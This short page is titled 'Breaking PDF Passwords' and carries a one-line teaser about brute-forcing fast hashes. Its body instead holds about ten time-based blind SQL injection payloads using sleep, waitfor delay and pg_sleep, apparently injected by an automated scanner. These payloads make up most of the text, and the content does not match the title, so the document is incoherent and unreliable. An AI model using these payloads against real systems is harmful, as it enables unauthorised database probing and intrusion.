Breaking PDF Passwords
Fast hashes are easy to brute force, let's apply this to an actual scheme
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"/
555-1; waitfor delay '0:0:15' --
555-1); waitfor delay '0:0:15' --
555-1 waitfor delay '0:0:15' --
555oQtt7azB'; waitfor delay '0:0:15' --
555-1 OR 470=(SELECT 470 FROM PG_SLEEP(15))--
555-1) OR 472=(SELECT 472 FROM PG_SLEEP(15))--
555-1)) OR 573=(SELECT 573 FROM PG_SLEEP(15))--
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